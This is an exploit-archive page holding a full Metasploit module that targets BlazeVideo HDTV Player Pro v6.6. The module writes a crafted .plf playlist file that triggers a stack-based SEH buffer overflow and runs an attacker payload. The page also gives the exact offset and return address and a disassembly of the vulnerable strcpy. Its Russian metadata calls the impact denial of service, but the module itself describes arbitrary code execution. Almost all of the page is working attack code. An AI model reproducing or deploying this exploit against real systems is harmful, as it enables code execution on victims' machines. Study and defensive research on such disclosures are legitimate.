BlazeVideo HDTV Player Pro v6.6 Filename Handling PoC

Свойства

Дата публикации:
30.11.2012
Цель:
BlazeVideo HDTV Player Pro v6.6
Тип воздействия:
Отказ в обслуживании

Код

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh

    def initialize(info={})
        super(update_info(info,
            'Name'           => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in BlazeVideo HDTV Player's filename
                handling routine.  When supplying a string of input data embedded in a .plf file,
                the MediaPlayerCtrl.dll component will try to extract a filename by using
                PathFindFileNameA(), and then copies whatever the return value is on the stack by
                using an inline strcpy.  As a result, if this input data is long enough, it can cause
                a stack-based buffer overflow, which may lead to arbitrary code execution under the
                context of the user.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'b33f',   #Original
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '80896'],
                    ['EDB', '18693'],
                    ['EDB', '22931']
                ],
            'Payload'        =>
                {
                    'BadChars'        => "\x00\x0a\x1a\x2f\x3a\x5c",
                    'StackAdjustment' => -3500
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "seh"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # MediaPlayerCtrl.dll P/P/R
                    # Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
                    ['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Apr 03 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
            ], self.class)
    end

    def exploit
        buf = 'http://';
        buf << rand_text_alpha_upper(target['Offset'])
        buf << generate_seh_record(target.ret)
        buf << payload.encoded
        buf << rand_text_alpha(5000-buf.length)

        print_status("Creating '#{datastore['FILENAME']}'...")
        file_create(buf)
    end
end

=begin
Version: HDTV Player Professional v6.6

In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)
.text:6400E574                 mov     eax, [esp+138h+Source]
.text:6400E578                 mov     edx, [ebp+0ECh]
.text:6400E57E                 push    eax
.text:6400E57F                 push    eax             ; pszPath  <-- Our URL
.text:6400E580                 mov     edi, [edx]
.text:6400E582                 call    ebx ; PathFindFileNameA
.text:6400E584                 mov     ecx, [ebp+0ECh]
.text:6400E58A                 push    eax             ; File path to copy
.text:6400E58B                 push    esi
.text:6400E58C                 push    1
.text:6400E58E                 call    dword ptr [edi] ; 0x6400f1f0

0x6400F1F0 (no length check either) goes down to 0x6400F670:

int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)
{
  ...

  v5 = this;
  if ( a2 && source && a5 )
  {
    memset(&buffer, 0, '\x02\x10');
    v16 = *(this + 4);
    *(this + 4) = v16 + 1;
    v18 = a3;
    buffer = a2;
    strcpy(&Dest2, source);  // <-- This is a rep movs
=end

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